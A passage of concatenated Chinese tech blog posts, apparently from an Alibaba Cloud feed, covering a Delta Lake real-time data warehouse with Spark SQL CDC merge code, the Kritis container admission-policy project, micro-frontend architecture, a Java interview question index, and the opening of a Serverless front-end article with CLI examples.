        after.<col1>,
          after.ctime,
          dense_rank() OVER
        (PARTITION BY coalesce(before.id,after.id) ORDER BY recordId DESC) as rank
          FROM (
           SELECT 
           recordId, 
           recordType, 
          
        from_json(CAST(beforeImages as STRING), 'id STRING, <col1>
        <coltype1>,ctime string') as before,
          
        from_json(CAST(afterImages as STRING), 'id STRING, <col1>
        <coltype1>,ctime string') as after
           FROM (
            select
        from_avro(value) as (recordID, source, dbTable, recordType, recordTimestamp,
        extraTags, fields, beforeImages, afterImages) from <SCAN_TABLE>
           ) binlog WHERE
        recordType != 'INIT'
          ) binlog_wo_init
         ) binlog_extract
        WHERE rank=1
        ) as source
        ON target.id = source.before_id
        WHEN MATCHED AND source.recordType='UPDATE' THEN
        UPDATE SET *
        WHEN MATCHED AND source.recordType='DELETE' THEN
        DELETE
        WHEN NOT MATCHED AND (source.recordType='INSERT' OR
        source.recordType='UPDATE') THEN
        INSERT *;

        数据恢复困难

        对离线任务来说数据恢复只需要重新执行任务就行。

        但对流式计算,当数据异常,或者逻辑变更,需要重新跑全量数据的时候,只能离线补历史数据,再union实时数据。因为Kafka不可能存所有历史数据,而且从头消费追数据时间也会很久。

        而为了满足快速恢复的需求,所有指标都需要从一开始准备离线和实时两套代码,类似Lambda架构。

        数据验证困难

        Kafka在大数据架构中一般充当消息队列的角色,数据保存周期较短。全量历史数据,会消费Kafka写到HDFS。如果一个指标计算了一个月,发现计算结果有异常,很难追溯是当时Kafka数据有问题,还是计算逻辑有问题。HDFS数据虽然可以用来排查,但是HDFS里的数据和当时Kafka的数据是否一致,是不能保证的。

        希望满足的功能

        正因为迁移流式作业会有一些迁移成本和问题,所以对实时计算方案提出了一些功能要求。

        开发灵活

        互联网公司业务发展速度快,人力资源比较紧张,需要更低成本更快捷的开发新指标,满足业务敏捷性的要求。

        重跑历史数据方便

        业务指标的定义经常发生变更,一旦变更,或者有新的数据指标就需要从最早开始消费。但是历史数据通常非常多,而且一般实时数据源Kafka也不可能存历史所有数据。

        数据异常时容易排查问题

        以离线数仓为例,几百行的SQL,可以分段执行,来逐步排查。Flink可以埋metrics获取中间过程。

        3.基于Delta Lake实时数仓方案

        Delta Lake

        Delta Lake是美国Databricks开源的数据湖技术,基于Apache Parquet丰富了数据管理功能,如元数据管理/事务/数据更新/数据版本回溯等。使用Delta Lake可以很方便的将流处理和批处理串联起来,快速构建Near-RealTime的Data Pipeline.
        image.png

        目前阿里巴巴E-MapReduce(简称“EMR”)团队对Delta Lake做了很多功能和性能上的优化,并和Spark做了深度集成,主要以下方面,更多信息详见EMR官方文档

        • SparkSQL支持Update/Delete/Merge Into/Optimize/Vacuum等语法来操作Delta Lake
        • 自研SparkStreaming SQL,支持Delta Lake的相关DML操作
        • Hive&Presto On Delta Lake
        • Delta Lake On OSS(阿里云对象存储)
        • Delta Lake事务冲突检测优化
        • DataSkipping & Zorder性能优化
          image.png

        SparkStreaming SQL

        阿里巴巴EMR团队在StructStreaming基础上自研了SparkStreaming SQL,用户可以很方便的使用SQL来写流式作业的逻辑,大大降低了开发门槛, 详见 SparkStreaming SQL官方文档
        image.png

        • 批流统一引擎
          可以复用底层SparkSQL/SparkCore的优化
        • 丰富的SQL支持
          CREATE TABLE / CREATE SCAN / CREAT STREAM / CTAS

        INSERT INTO / MERGE INTO
        SELECT / WHERE/ GROUP BY / JOIN / UNION ALL

        • 丰富的UDF支持
          Hive UDF / 窗口函数
        • 丰富的数据源支持
          Delta/Kudu/Druid/HBase/MySQL/Redis/SLS/Datahub/TableStore

        并且支持Kafka的Exactly Once
        github: https://github.com/aliyun/aliyun-emapreduce-sdk

        • Delta Lake深度集成
          结合Delta Lake的使用场景,新增了一些功能的支持(比如流式写动态分区表)

        实时数仓方案

        架构方案

        基于Delta Lake+SparkStreaming SQL可以快速构建实时数仓的pipeline,如下所示:
        image.png

        • ODS层
          ODS的数据主要是实时埋点数据,CDC中的binlog日志等
        • DIM维表
        • DW层
          DW层主要是一部分轻度汇总数据,例如用户维度的课程,作业等信息。

           主要复用的是dw层数据,因此针对每一个指标,需要综合考虑是否聚合,聚合到哪一个维度,是否关联维表。

          DW层分为两种

        a.业务简单,基本不会变化。直接写入Kafka。
        b.业务逻辑复杂,数据可能<频繁>变化,写入Delta Lake。实践上看,直接写入Kafka是最容易的方案,但是灵活性很低,历史数据无法追溯,也无法修改。DW层通过引入Delta Lake,可以实现流批统一数据源,历史分区数据恢复等功能。

        • DM层

           DM层就是最后的报表展示指标了,可以将DW层delta表做为数据源,再次汇总后sink到展示用的DataBase。
          

        备注:
        EMR团队提供了流式Merge Into功能,可以通过写SparkStreaming SQL的方式来做CDC回放binlog到Delta表。
        详见CDC同步文档

        问题的优化

        在使用Delta Lake的过程中,我们也发现了一些问题,详细的解决方案和建议如下:

        小文件多

        CDC流式Merge回放binlog的过程中,会不断产生小文件,需要对小文件进行一些处理,EMR提供了一些优化方案

        • 新增串行auto compaction的功能
          在CDC流式作业运行过程中,根据一定的策略对小文件进行合并compact操作
        • 使用Adaptive Execution
          打开自适应执行开关,可以有效减少Merge过程产生的小文件,如单个batch从100个小文件减少到1~2个文件。

        Compact冲突问题

        如果不使用串行Compact功能,需要定期手工对Delta表进行Compact合并小文件,但是经常碰到Compact在事务提交的时候和CDC流作业事务提交产生冲突,是的CDC流或者Compact失败,这块也提供了一些优化以及建议:

        • 优化Delta内核冲突机制,使得CDC流能够稳定运行,不会因为Compact挂掉
        • 使用分区表,批量对分区进行Compact,减少冲突概率
        • 在数据库表update/delete操作很少的时候进行Compact(可以使用EMR工作流调度)
        • 使用EMR工作流中的作业重试功能,当遇到Compact事务提交失败时进行重试

        架构方案进一步说明

        • 为什么不直接从ODS计算

        以核桃的到课指标为例,数据源是kafka的埋点topic,需要计算的指标有个人维度到课数据,学期维度,班级维度,学期维度,市场渠道维度。
        每个维度都需要消费所有的埋点数据,从中挑出到课相关的事件。并且每个维度的计算程序都需要查询HBase/Mysql关联相关的学期,班级,unit等维表。
        一旦有整体逻辑的调整,例如过滤测试班数据,不可能从ods层就把数据过滤掉(这样从底层就开始丢失数据,后期无法追查),那么所有程序都需要重新调整,添加这个过滤逻辑。

        • 怎么恢复数据

        理想情况是,实时与离线使用同一套SQL,同一套计算逻辑,同一个数据源,这样随时可以用离线脚本重跑历史数据。但是现实是没有哪个框架支持。所谓流批一体,都是在引擎层面,例如Spark的streaming和SQL都是batch的方式,流只是更小的批。而Flink则希望用流的方式去处理批数据,批只是有边界的流。针对高阶的SQL API,流批都有很大的区别。基于Delta Lake的分区表,将dw层的实时数据按时间分区,这样可以随时用离线作业恢复历史分区的数据。而DW之上的汇总因为数据量相对较小,恢复之后可以用流作业从头消费。

        4. 业务效果

        Delta Lake实时数仓在核桃编程部分数据仓库生产环境上线后,部分业务统计指标已基于新架构产出,指标更新延迟从几十分钟,提升到1分钟以内。班主任可以更快获取学生的学习状态,及时跟进学习进度,从而显著提升了教学质量。
        在CDC应用后,数据同步延迟从半小时提升到30秒,同时解决了Sqoop高并发同步时对业务数据库的影响。数据分析人员Ad-Hoc查询时,可以获取实时的业务数据,明显提升了数据分析效果,并且可以更及时的指导业务发展。

        5. 后续计划

        根据目前的业务应用效果,后续大数据团队会继续梳理业务范围所有实时指标,进一步优化实时数仓各层的结构,推进全面应用基于Delta Lake的实时数仓建设。
        基于Delta Lake模式执行、时间旅行等特性,进一步推进机器学习场景下对Delta的应用,构造更可靠、易扩展的Data Pipeline。


        阿里巴巴开源大数据技术团队成立Apache Spark中国技术社区,定期推送精彩案例,技术专家直播,问答区近万人Spark技术同学在线提问答疑,只为营造纯粹的Spark氛围,欢迎钉钉扫码加入!
        image.png

        ]]>
        可信云原生软件供应链(Software Supply Chain) - Kritis项目调研 Fri, 02 May 2025 09:39:04 +0800 背景

        上篇Grafeas项目调研讲到了如何把制品(Artifacts)的一系列相关的元数据信息,比如CVE这些通过一套标准的Metadata API记录下来。既然Grafeas充当了一个信息生产者(Producer)的角色,那么自然还需要有这些信息的消费者(Consumer),Kritis就是作为Grafeas的孪生项目,起了这样的作用。

        Kritis(希腊语Judge),logo是一只抓着法槌的猫头鹰,这个项目根据存在Grafeas的制品信息,对制品的准入进行限制,比如说

        • 镜像只有在没有严重CVE的时候,才能上线
        • 只有通过了QA的测试才能上线

        详细说明

        上图是整套体系在GKE的展示,Kritis包括了Binary authorization + Policy的部分。而左边CI/CD pipeline则是产生了制品的元数据,保存在Image metadata(Grafeas)中。在制品上线时,Binary authorization结合Policy和Image metadata来决定是否允许部署镜像到线上。这个Check是利用了kubernetes Dynamic Admissioin Control的机制,通过webhook集成的。同时Kritis会跑一个定时Cron,来检查目前在线上运行的镜像是否符合Policy,如果不符合的话,则会添加kritis.grafeas.io/invalidImageSecPolicy的标签,代码片段

        除了准入时所用的webhook外,Kritis目前核心的有3个CRD(Custom Resource Definition)

        • GenericAttestationPolicy
        • ImageSecurityPolicy
        • AttestationAuthority

        其中GenericAttestationPolicy和AttestationAuthority对应的是Grafeas里的Attestation模型,用于CI Pipeline场景,比如说某个制品通过了Pipeline里的集成测试阶段,就会生成一个integration-test-passed的Attestation。Kritis的GenericAttestationPolicy可以定义说制品必须满足integration-test-passed条件,才能部署上线。还比如说通过签名验证的方式确保镜像没有被篡改,也是通过GenericAttestationPolicy来实现。

        ImageSecurityPolicy对应的是Grafeas里的Vulnerability模型,用于CVE场景,比如说某个镜像必须没有高于中等严重程度的CVE,才能部署上线。

        除了webhook以及CRD, Kritis本身是不保存任何状态的

        未来展望

        和Grafeas类似,Kritis项目也处在比较早的阶段,而且和Google的绑定更加明显,目前应该只是在Google自己的GKE上落地了。接下来的一些可能工作包括

        • 目前的准入判定是在Pod创建时,这个是兜底的卡点。但是许多Pod创建是异步操作,目前的方案会带来体验的问题,比如用户进行Pod创建,即使不符合Policy,无法立马获得反馈。这个就需要在异步创建时也引入判定能力,类似于提供dry-run机制。
        • 类似于Grafeas一样,需要集成到主流的CI/CD工具中去。
        • Kritis虽然是Grafeas的孪生项目,目前也只集成了Grafeas的API,但其实也可以扩展集成其它的Metadata API,当然这个可能违背了整体项目的初衷。

        结语

        + 

        可信云原生软件供应链Grafeas, Kritis的两篇小文到此收尾。回到介绍Grafeas里提到的,可信软件供应链会是一块越来受到关注的领域:

        • 随着持续集成以及微服务成为主流,我们发布软件的频率极速上升。
        • 随着应用越来越复杂,以及开源的趋势,一个应用依赖了越来越多的三方依赖。
        • 随着应用基本功能的日趋完善同质化,诸如安全/合规类的特性会成为竞争关键点。

        Google发起的这两个项目定义了一套云原生时代标准的可信软件供应链接口,这里面其实也还包含了一个核心,就是Immutable,我们目前最常用的使用tag来引用镜像的方式很难保证这点,所以很有可能需要使用digest方式来引用镜像,这个对于整个镜像的使用习惯会产生不小的影响。

        ]]>
        云前端新物种-微前端体系 Fri, 02 May 2025 09:39:04 +0800 随着云时代拉开帷幕,前端迎来机遇和挑战。在2016年,微前端的概念被提出,前后端架构形成了微前端+微服务的模式。微前端是云时代的前端架构体系,它不止是一个框架或者组件。阿里云智能安全前端团队负责人克军将从前端架构的演变、微前端的价值、微前端与云生态的关系、以及微前端的工作原理等几大方面为大家详细介绍云前端新物种-微前端体系。

        嘉宾: 克军,阿里云智能安全前端团队负责人。长期专注于前端体系的探索,目前带领团队探索云上安全能力的交互创新。

        本次分享将主要围绕以下五个方面展开:
        一、前端架构背景介绍
        二、微前端价值
        三、微前端与云生态
        四、微前端工作原理
        五、总结

        一、前端架构背景介绍

        1.前端架构体系

        云原生应用的三个特征包括容器化、动态管理和面向微服务。其中缺少对前端应用的特征描述,而本文将介绍的微前端正是代表了这个特征。前端架构需要建立一个可以满足业务当前及未来的前端技术体系,其中包含了软件库、框架、开发流程、技术栈设计、以及管理工具的建设。前端体系的建设是一个可持续的事情。在目前的云时代,微前端是目前的前端架构体系的方向。

        2.架构的演变

        在很久以前,前端和后端加在一起构成MVC架构,前端只是后端渲染的模版。在2010年,提出前后端分离的概念,服务端BFF作为数据的网段。到2014年,微服务概念被提出,后端的架构开始转型,面向微服务,而前端架构自2010年到目前依然没有变化。随着云时代拉开帷幕,前端或许会迎来机遇和挑战。在2016年,微前端的概念被提出,到目前完整的前后端架构是微前端+微服务。微前端和微服务的拆分是按照业务域进行拆分,每个业务域持续化的组织架构,每一个team维护单独的业务域。每一个业务域可独立开发、独立发布、可以被集成到环境当中、不限技术栈、被拆开的业务域可以自由组合。如果可以做到这些,基本上符合云时代分布式开发前后端保持一致的理念。

        image.png

        二、微前端体系价值

        当然,大家对于新事物需要保持不吹捧的态度。在构建微前端体系过程中,需要克服微前端可能带来的问题。那么微前端与iFrame、WebComponents、NPM包、BigPepe、插件有什么区别?

        1. 微前端与Widget/业务组件的区别

        首先,微前端是一个架构体系,用于实现大型Web应用。Widget组件是以库、外联npm包等方式实现复用。微前端带来的是生产方式的不同,给开发方式带来了本质的变化,而Widget组件是生产工具,目的是提高复用。此外,微前端通过隔离机制实现技术栈无关,而Widget组件没有考虑这个问题,还是需要人工解决依赖和冲突问题。微前端可以单独构建、单独发布、热升级,这是微前端最大的优点。如页面中的某一个区域无需构建整个大应用,只需构建局部,这与日程业务中的场景非常契合,往往只是某个子域需要不断的迭代。而传统的Widget组件方法中,每次改动一点都需要整体发布,不够灵活。同时,微前端体制化治理性非常强,与云应用中动态化管理相似,本质上是对微服务的编排和调度机制。任何分布式特点的系统中,体制化治理都非常重要。因为当业务被拆成多个碎片化的部分后,管理的难度大大提高,体制化治理环节正是用于解决管理难度的问题。此外,微前端采用路由映射,消息机制符合主从关系,而Widget则相互之间并不有关系。微前端体系还衍生了微应用的概念,即属于整个产品的子集,变化较快,整个应用是若干个微应用的组合。Widget组件具备“外挂”属性,变化小,抽象出了整个应用的通用功能。

        image.png

        从2019年7月份到12月,阿里云智能安全团队代码变化如下图,代码增长的幅度达10万行。很明显,随着代码行的增加,其可维护性呈下降趋势。架构的思路是分层、分治和抽象,而微前端正是借助了分治的思路。

        image.png

        2. 微前端的工程价值

        微前端的优点:微前端的优点包括独立开发、独立部署。对于大型的单页应用,采用微前端架构方式可无限扩展,其复杂度不会很明显的增长。此外,微前端不限技术栈,借助隔离机制保证技术栈的隔离性。第四点,可快速整合业务,如toB的产品需要符合客户的定制化需求,每个客户的业务场景都互不相同,此时需要产品具备更灵活的特点符合客户的业务定制需求。最后,微前端可以多人协作。
        微前端的缺点:当然,微前端的缺点也很明显。首先,微前端会导致体验折损,微前端每一步都是异步加载,中间会出现不流畅的问题。此外,当一个单体应用被拆成若干个,其维护成本也相应增加,如如何管理多个版本,如何复用公共组件等,导致管理版本变得复杂,依赖关系也极其复杂。还有,如果应用拆分的粒度过小,对于工程师的开发体验也会不太友好,如果工程师负责的需求跨多个业务域,此时他/她需要与多个团队合作,沟通成本大大增加。

        image.png

        3. 微前端的业务价值

        如果微前端只具备工程价值,如提高效率,则对团队内部没有多少帮助。因此,微前端还需具备三个业务价值。首先是产品“原子化”,可以根据客户的使用场景,可自由的编排组合,即扩展性、组合性和局部迭代的特点。其次是解决能力输出“最后一公里”的价值,云时代的平台与传统的平台不同,云平台更注重赋能,即能力的输出。最后,在能力输出过程中,需要将能力变得组件化,就是微前端中微应用的概念,降低用户使用的难度。

        image.png

        三、微前端与云生态

        云平台提供基础的设施和算力,云平台可以以OpenAPI的方式被消费,此时要求企业具备研发能力较强的团队。在未来,云平台还需要提供编排工具,提供更简单组合的使用方式。再进一步,通过微应用的方式,使得企业的使用成本降低。

        image.png

        Idea1:云时代需要一个企业级的开发套件,包含了OpenAPI、编排工具、UI组件库以及微应用。

        image.png

        Idea2:在2014年,已经出现了微应用市场的概念,但当时还没有很流行。随着云时代的演进,开放的微应用市场应该是目前较为适合的方向。阿里巴巴内部很多团队已经开始探索这个方向,如single-spa是最早是微前端框架,MicroX是阿里巴巴云智能安全团队的微前端框架。

        image.png

        四、微前端基本工作原理

        1. 微前端体系构成

        微前端不是一个工具或者框架,而是一套架构体系。微前端有三部分构成,首先是基础设施,no Framework特点。其次是配置中心,用于管理版本、发布策略、以及动态构建。微前端中的若干个微应用需要通过观察工具充当运维职能,可观察工具具备可见性和可控性。如下图,微前端包括配置中心、观察工具、微应用市场、微应用容器。但这远远不够,还需要配套设施即本地开发工作台,因为微前端是在传统的工程化体系之上发展而来。最下层是数据网关的对接口。

        image.png

        2. 微前端工作原理

        微前端的结构是主从结构,主应用中通过微应用容器组件将微应用异步加载进来。其次本地开发工作台具备测试、接口编排、构建、发布等等能力。之后在微前端配置中心做统一的版本管理、发布策略的制定。

        image.png

        3. 微前端10大问题

        微服务中有10要素的概念,那么微前端大体上也有10个主要的问题需要得到重视。

        image.png

        具体而言,微应用的加载和运行机制如下图,首先是配置好应用信息,其次是依赖环境的运行时配置“安装”过程。拿到应用对象后,开始沙盒部分的操作,初始化、渲染。然后进行监控和映射路由。其中沙盒部分的能力提升是阿里云智能团队目前的难点。如果有较好的沙盒工具,也希望可以集成进来。

        image.png

        微应用容器需要不断提高几个方面的能力,如安全性、隔离性、回弹性、可见性和通讯能力。其中,安全能力可以分级处理,对于一/二级的可信平台,安全级别要求相应降低。对于不可信的第三方应用或者ISV开发的应用需要制定安全等级较高的方案。而在目前的安全方案中,iFrame方案是相对最安全的。再在此基础上,做静态检查,以及安全的DSL。隔离样式可以用ShadowDOM,但隔离JavaScript和DOM的侵入性还需要自己实现。回弹性指的是当加载失败时内部需要有FallBack的机制,在容错上上报错误信息。可见性指买点监控,对每个子应用做性能和健康度调试,通过Inspector在浏览器中查看出现问题的应用。

        image.png

        目前,阿里云智能团队的微前端框架使用路由管理的方式,在主应用中配置路由,映射子应用。

        image.png

        消费机制中微应用与微应用之间不允许用通讯的方式。而且微应用注册,主应用下发,将触发的事件下发下来,再订阅。

        image.png

        4. 微前端的望楼系统

        微前端的望楼系统是一个可观察性工具。微前端的望楼系统除了监控系统健康度指标、告警和阀值等,还需要观察系统运行状态和可控性,如观察工具、跟踪、调试等。可观察性工具包括配置、代码质量、观察、数据服务、度量等等功能。

        image.png

        在未来,前端不只是开发,而是充当开发运维一体化的角色。当一个微应用发布后,如果出错,需要具备运维的能力。运维系统的设计原则中包括可控性、可观察、分析性和自动化。任何具备运维能力的系统都需要遵循这个设计原则,不断的完善系统。

        image.png

        5.微前端配置中心方案

        微前端的配置中心需要具备可灰度、可回滚的中心化管理的能力。下图是阿里云智能团队微前端框架的配置台界面,右侧是每个子应用的子应用的信息。

        image.png

        每个子应用包含基本信息、异常监控情况、代码的健康状态、代码可维护性、代码复杂度变化、版本控制、发布的策略、依赖的资源、以及演示部分。通过视频演示的方式看到子应用的使用方法。

        image.png

        五、总结

        微前端是云时代的前端架构体系,不止是一个框架或者组件。微前端的一个使命是构建体系,其中包括基础设施、全链路机制、以及每个环节核心能力的定位。微前端的治理包括配置中心的治理,和运维能力的治理。希望在未来,能够对微前端的涉及的一些概念,如微应用、公共依赖、微应用容器、引导(Bootstrap)、配置中心、微前端治理等等概念构建标准。

        image.png

        ]]>
        75道Java常考面试题+18篇面试疑难点解析|面试必看 Fri, 02 May 2025 09:39:04 +0800 Java工程师面试就看这一篇,75道常考面试题+18篇面试疑难点解析,正逢金三银四招聘季,小编会继续为大家更新更多面试真题,也请大家多多关注,一定要助你过关斩将,拿下心仪offer!

        Java经典面试题系列

        Java经典面试题整理及答案详解(一)
        Java经典面试题整理及答案详解(二)
        Java经典面试题整理及答案详解(三)
        Java经典面试题整理及答案详解(四)
        Java经典面试题整理及答案详解(五)
        Java经典面试题整理及答案详解(六)
        Java经典面试题整理及答案详解(七)

        Java常见面试题系列

        Java常见面试题:default关键字
        Java常见面试题:BinaryTree
        Java常见面试题:Java内存模型
        Java常见面试题:ClassLoader加载
        Java常见面试题:HashMap源代码
        Java常见面试题:HashMap冲突
        Java常见面试题:ArrayList实现原理
        Java常见面试题:this 关键字
        Java常见面试题:Set集合
        Java常见面试题:String转换
        Java常见面试题:ThreadLocal
        Java常见面试题:抽象类
        Java常见面试题:多线程应用
        Java常见面试题:ThreadLocal和ThreadPool原理以及应用场景
        Java常见面试题:ThreadLocal对象处理

        面试疑难点解析

        1.面试疑难点解析——Java数据库开发(一)
        当面试官提问数据库优化及NoSQL使用场景时,该如何回答?在现实的开发环境之中所谓的数据库优化是不存在的,实际上所谓数据库的优化有很多...查看全文

        2.面试疑难点解析——Java数据库开发(二)
        严格来讲没有明确的分布式数据库的概念,有的只是业务中心的概念,既然牵扯到业务中心,那么就需要对于整个的项目之中的RPC技术的规划...查看全文

        3.面试疑难点解析——Java数据库开发(三)
        一张基础表dept,100张单据表用到了dept中的deptno,对于100张单据表都去设置外键参照dept表,对于中小型系统来讲,在数据库中表结构设置这种关联关系...查看全文

        4.面试疑难点解析——Java数据库开发(四)
        对于整个电脑而言,它有一个自己的固定状态:如果要读取数据,流程是将硬盘上的内容直接加载到内存里,而后再通过内存进行读取。因为硬盘上所保存的都是物理上的二进制数据...查看全文

        5.面试疑难点解析——Java数据库开发(五)
        为什么需要有缓存?缓存的实现有哪些?关于缓存这9个问题,你需要了解...查看全文

        6.面试疑难点解析——Java数据库开发(六)
        本案例的需求在于:数据库有可能会被更改,一旦里面的内容发生了改变,程序可以做出一些反应,但在这种实现里面会有一个误区...查看全文

        7.面试疑难点解析——Java数据库开发(七)
        对于数据库的划分分为两种:关系型数据库、NoSQL数据库。关系型数据库有一个最为重要的概念就是ACID原则...查看全文

        8.面试疑难点解析——Java数据库开发(八)
        数据库的数据源的设置,主要存在目的是为了解决数据库的频繁打开与关闭所带来的性能损耗。所以这种不进行重复打开与关闭,以及控制连接...查看全文

        9.面试疑难点解析——Java数据库开发(九)
        悲观锁的本质是数据库自身所具备的一种处理机制,在数据库的事务里面有一个隔离性的概念,其主要特征是当一个session操作某条数据的时候,其它的session是无法操作的...查看全文

        10.面试疑难点解析:开发工具及框架(一)
        Maven核心功能在于开发包的管理,同时还可以实现程序的编译处理。如果使用了Maven可以避免用户自己手工下载开发包...查看全文

        11.面试疑难点解析:开发工具及框架(二)
        有面试官这样提问:你有没有在GitHub上发布过代码?你有没有在一些技术性网站上发表过一些文章?你可以说...查看全文

        12.面试疑难点解析:开发工具及框架(三)
        SSH开发框架整合已经在整个行业之中流行了十多年,在以后很长一段时间内依然有可能见到这样的架构,因为在整个java最盛行的那段时间,SSH出现许多项目...查看全文

        13.面试疑难点解析:开发工具及框架(四)
        现在的开发已经越来越离不开Spring了,想要充分了解它的作用,必须亲自写过代码...查看全文

        14.面试疑难点解析:开发工具及框架(五)
        SpringBoot这种微架构是最近比较火的概念,这种微架构里面包含有两块内容:SpringBoot、SpringCloud...查看全文

        15.面试疑难点解析:开发工具及框架(六)
        对于拦截器的操作过程,主要的部分就在于验证的处理上,Struts 2.x和SpringMVC是各有优势所在的,SpringMVC可能更适合于传统模式开发...查看全文

        16.面试疑难点解析:开发工具及框架(七)
        进行Spring的配置,有两种形式完成,一种是基于xml配置文件完成的,另外一种形式是基于@Configure注解完成的,这俩种配置区别不大...查看全文

        17.面试疑难点解析:开发工具及框架(八)
        以下两个问题是某同学面试时面试官提问的,如果有同学要去面试,关于这两个问题的回答,可以参照以下内容...查看全文

        18.面试疑难点解析:开发工具及框架(九)
        所有的开源框架里面必然包含有各个公司自己的一些程序代码,或者是与其它一些开发框架整合的程序代码,对于这些代码,如果要是有时间...查看全文

        更多专业知识,面试技巧就在面试一点通,持续更新中……
        感谢浏览~
        本内容来源于阿里云大学-Java面试技巧

        ]]>
        Serverless 掀起新的前端技术变革 Fri, 02 May 2025 09:39:04 +0800 作者:蒋航,阿里云前端工程师

        前端开发模式的演进

        首先回顾一下前端开发模式的演进,我觉得主要有四个阶段。

        基于模板渲染的动态页面

        在早起的互联网时代,我们的网页很简单,就是一些静态或动态的页面,主要目的是用来做信息的展示和传播。这个时候开发一个网页也很容易,主要就是通过 JSP、PHP 等技术写一些动态模板,然后通过 Web Server 将模板解析成一个个 HTML 文件,浏览器只负责渲染这些 HTML 文件。这个阶段还没有前后端的分工,通常是后端工程师顺便写了前端页面。

        基于 AJAX 的前后端分离

        2005 年 AJAX 技术的正式提出,翻开了 Web 开发的新篇章。基于 AJAX,我们可以把 Web 分为前端和后端,前端负责界面和交互,后端负责业务逻辑的处理。前后端通过接口进行数据交互。我们也不再需要在各个后端语言里面写着难以维护的 HTML。网页的复杂度也由后端的 Web Server 转向了浏览器端的 JavaScript。也正因如此,开始有了前端工程师这个职位。

        基于 Node.js 的前端工程化

        2009 年 Node.js 的出现,对于前端工程师来说,也是一个历史性的时刻。随着 Node.js 一同出现的还有 CommonJS 规范和 npm 包管理机制。随后也出现了 Grunt、Gulp、Webpack 等一系列基于 Node.js 的前端开发构建工具。

        在 2013 年前后,前端三大框架 React.js/Angular/Vue.js 相继发布第一个版本。我们可以从以往基于一个个页面的开发,变为基于一个个组件进行开发。

        开发完成后使用 webpack 等工具进行打包构建,并通过基于 Node.js 实现的命令行工具将构建结果发布上线。前端开发开始变得规范化、标准化、工程化。

        基于 Node.js 的全栈开发

        Node.js 对前端的重要意义还有,以往只能运行在浏览器中的 JavaScript 也可以运行在服务器上,前端工程师可以用自己最熟悉的语言来写服务端的代码。于是前端工程师开始使用 Node.js 做全栈开发,开始由前端工程师向全栈工程师的方向转变。这是前端主动突破自己的边界。

        另一方面,前端在发展,后端也在发展。也差不多在 Node.js 诞生那个时代,后端普遍开始由巨石应用模式由微服务架构转变。这也就导致以往的前后端分工出现了分歧。随着微服务架构的兴起,后端的接口渐渐变得原子性,微服务的接口也不再直接面向页面,前端的调用变得复杂了。

        于是 BFF(Backend For Frontend)架构应运而生,在微服务和前端中间,加了一个 BFF 层,由 BFF 对接口进行聚合、裁剪后,再输出给前端。而 BFF 这层不是后端本质工作,且距离前端最近和前端关系最大,所以前端工程师自然而然选择了 Node.js 来实现。这也是当前 Node.js 在服务端较为广泛的应用。

        小结

        可以看到,每一次前端开发模式的变化,都因某个变革性的技术而起。先是 AJAX,而后是 Node.js。那么下一个变革性的技术是什么?不言而喻,就是 Serverless。

        Serverless 服务中的前端解决方案

        Serverless 简介

        根据 CNCF 的定义,Serverless 是指构建和运行不需要服务器管理的应用程序的概念。

        Serverless computing refers to the concept of building and running applications that do not require server management. — CNCF

        其实 Serverless 早已和前端产生了联系,只是我们可能没有感知。比如 CDN,我们把静态资源发布到 CDN 之后,就不需要关心 CDN 有多少个节点、节点如何分布,也不需要关心它如何做负载均衡、如何实现网络加速,所以 CDN 对前端来说是 Serverless。

        再比如对象存储,和 CDN 一样,我们只需要将文件上传到对象存储,就可以直接使用了,不需要关心它如何存取文件、如何进行权限控制,所以对象存储对前端工程师来说是 Serverless。甚至一些第三方的 API 服务,也是 Serverless,因为我们使用的时候,不需要去关心服务器。

        当然,有了体感还不够,我们还是需要一个更精确的定义。从技术角度来说,Serverless 就是 FaaS 和 BaaS 的结合。
        Serverless = FaaS + BaaS。

        Serverless掀起新的前端技术变革

        简单来讲,FaaS(Function as a Service) 就是一些运行函数的平台,比如阿里云的函数计算、AWS 的 Lambda 等。BaaS(Backend as a Service)则是一些后端云服务,比如云数据库、对象存储、消息队列等。利用 BaaS,可以极大简化我们的应用开发难度。

        Serverless 则可以理解为运行在 FaaS 中,使用了 BaaS 的函数。

        Serverless 的主要特点有:

        • 事件驱动:函数在 FaaS 平台中,需要通过一系列的事件来驱动函数执行。
        • 无状态:因为每次函数执行,可能使用的都是不同的容器,无法进行内存或数据共享。如果要共享数据,则只能通过第三方服务,比如 Redis 等。
        • 无运维:使用 Serverless 我们不需要关心服务器,不需要关心运维。这也是 Serverless 思想的核心。
        • 低成本:使用 Serverless 成本很低,因为我们只需要为每次函数的运行付费。函数不运行,则不花钱,也不会浪费服务器资源

        Serverless 服务中的前端解决方案架构图

        Serverless掀起新的前端技术变革

        上图是当前主要的一些 Serverless 服务,以及对应的前端解决方案。
        从下往上,分别是基础设施和开发工具。
        基础设施主要是一些云计算厂商提供,包括云计算平台和各种 BaaS 服务,以及运行函数的 FaaS 平台。

        前端主要是 Serverless 的使用者,所以对前端来说,最重要的开发工具这一层,我们需要依赖开发工具进行 Serverless 开发、调试和部署。

        框架

        常见的 Serverless 框架有 Serverless Framework、ZEIT Now、Apex 等。不过这些基本都是国外公司做的,国内还没有这样的平台。

        而且如今还没有一个统一的 Serverless 标准,不同云计算平台提供的 Serverless 服务很可能是不一样的,这就导致我们的代码,无法平滑迁移。Serverless 框架一个主要功能是简化 Serverless 开发、部署流程,另一主要功能则是屏蔽不同 Serverless 服务中的差异,让我们的函数能够在不改动或者只改动很小一部分的情况下,在其他 Serverless 服务中也能运行。

        Web IDE

        和 Serverless 紧密相关的 Web IDE 主要也是各个云计算平台的 Web IDE。利用 Web IDE,我们可以很方便地在云端开发、调试函数,并且可以直接部署到对应的 FaaS 平台。这样的好处是避免了在本地安装各种开发工具、配置各种环境。常见的 Web IDE 有 AWS 的 Cloud9、阿里云的函数计算 Web IDE、腾讯云的 Cloud Studio。从体验上来说,AWS Cloud9 最好。

        命令行工具

        当然,目前最主要的开发方式还是在本地进行开发。所以在本地开发 Serverless 的命令行工具也必不可少。

        命令行工具主要有两类:

        1. 由云计算平台提供的,如 AWS 的 aws、 Azure 的 az、阿里云的 fun;
        2. 由 Serverless 框架提供的,如 serverless、now。

        大部分工具如 serverless、fun 等,都是用 Node.js 实现的。

        下面是几个命令行工具的例子。

        • 创建

        复制代码

        col 1col 2# serverless$ serverless create --template aws-nodejs --path myService# fun$ fun init -n qcondemo helloworld-nodejs8
        • 部署

        复制代码

        col 1col 2# serverless$ serverless deploy# fun$ fun deploy
        • 调试

        复制代码

        col 1col 2# serverless$ serverless invoke [local] --function functionName# fun$ fun local invoke functionName

        应用场景

